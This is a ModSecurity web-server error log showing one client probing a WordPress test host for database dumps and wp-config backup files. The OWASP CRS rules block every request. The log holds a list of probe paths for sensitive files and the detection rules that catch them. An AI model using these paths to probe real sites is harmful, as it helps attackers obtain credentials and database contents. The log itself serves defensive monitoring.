[Mon Jul 28 20:46:28.516879 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1caQAAAAM&quot;]
[Mon Jul 28 20:46:28.517216 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1caQAAAAM&quot;]
[Mon Jul 28 20:46:28.517390 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1caQAAAAM&quot;]
[Mon Jul 28 20:46:28.537526 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cagAAAAM&quot;]
[Mon Jul 28 20:46:28.537869 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cagAAAAM&quot;]
[Mon Jul 28 20:46:28.538046 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cagAAAAM&quot;]
[Mon Jul 28 20:46:28.558239 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cawAAAAM&quot;]
[Mon Jul 28 20:46:28.558593 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cawAAAAM&quot;]
[Mon Jul 28 20:46:28.558809 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cawAAAAM&quot;]
[Mon Jul 28 20:46:28.578914 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbAAAAAM&quot;]
[Mon Jul 28 20:46:28.579385 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbAAAAAM&quot;]
[Mon Jul 28 20:46:28.579556 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbAAAAAM&quot;]
[Mon Jul 28 20:46:28.599647 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbQAAAAM&quot;]
[Mon Jul 28 20:46:28.599974 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbQAAAAM&quot;]
[Mon Jul 28 20:46:28.600140 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbQAAAAM&quot;]
[Mon Jul 28 20:46:28.620196 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbgAAAAM&quot;]
[Mon Jul 28 20:46:28.620351 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.bak&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.bak found within REQUEST_FILENAME: /wp-config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbgAAAAM&quot;]
[Mon Jul 28 20:46:28.620569 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbgAAAAM&quot;]
[Mon Jul 28 20:46:28.620737 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbgAAAAM&quot;]
[Mon Jul 28 20:46:28.640895 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbwAAAAM&quot;]
[Mon Jul 28 20:46:28.641228 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbwAAAAM&quot;]
[Mon Jul 28 20:46:28.641418 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cbwAAAAM&quot;]
[Mon Jul 28 20:46:28.681346 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccAAAAAM&quot;]
[Mon Jul 28 20:46:28.681581 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccAAAAAM&quot;]
[Mon Jul 28 20:46:28.681763 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccAAAAAM&quot;]
[Mon Jul 28 20:46:28.701977 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.bak&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.bak found within REQUEST_FILENAME: /wp-config.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccQAAAAM&quot;]
[Mon Jul 28 20:46:28.702200 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccQAAAAM&quot;]
[Mon Jul 28 20:46:28.702393 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1ccQAAAAM&quot;]
